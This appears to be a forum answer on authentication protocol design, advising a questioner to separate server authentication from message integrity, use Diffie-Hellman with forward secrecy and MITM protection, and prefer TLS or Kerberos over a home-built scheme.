In this case, you've abused one crypto algorithm (Message Authentication) for another purpose - server identification and trust. Instead, you need to separate Authentication of the server from Authentication of the message (which is really misnamed and causes confusion, so I call it Integrity protection, which is what it is).

Any good Authentication algorithm (4 step handshake authenticating both client and server) creates session keys which can be used for Privacy (session encryption) and Integrity (message authentication). Note, I write keys because you shouldn't use the same key for both. The best algorithm you can use provide Perfect Forward Secrecy, which these days means DH at 2048 bits. However, DH is subject to MITM attacks, so you need a way to mitigate that. I would suggest using SPEKE or DHEKE, whichever one is no longer under patent protection. You could also do what TLS does and sign the DH ephemeral with an RSA key, but now you're into PKI.

At this point, I'd say that you could just use TLS+RSA and make sure it's properly configured and limit your root certificates or use two-way authentication in which you don't need Root Certs and each peer validates the other. This will provide exactly the type of security you'd like to have.

So, if you're going to roll your own authentication system, really dig into the philosophy of good crypto system design and do it right. You'll probably wind up replicating Kerberos or TLS, but you'll learn a lot. Here's what happens when you think you understand enough about this and still build it incorrectly.

Or, don't roll your own and just adopt Kerberos or TLS and take advantage of everything they have to offer.

I suspect you know which way I think you should go.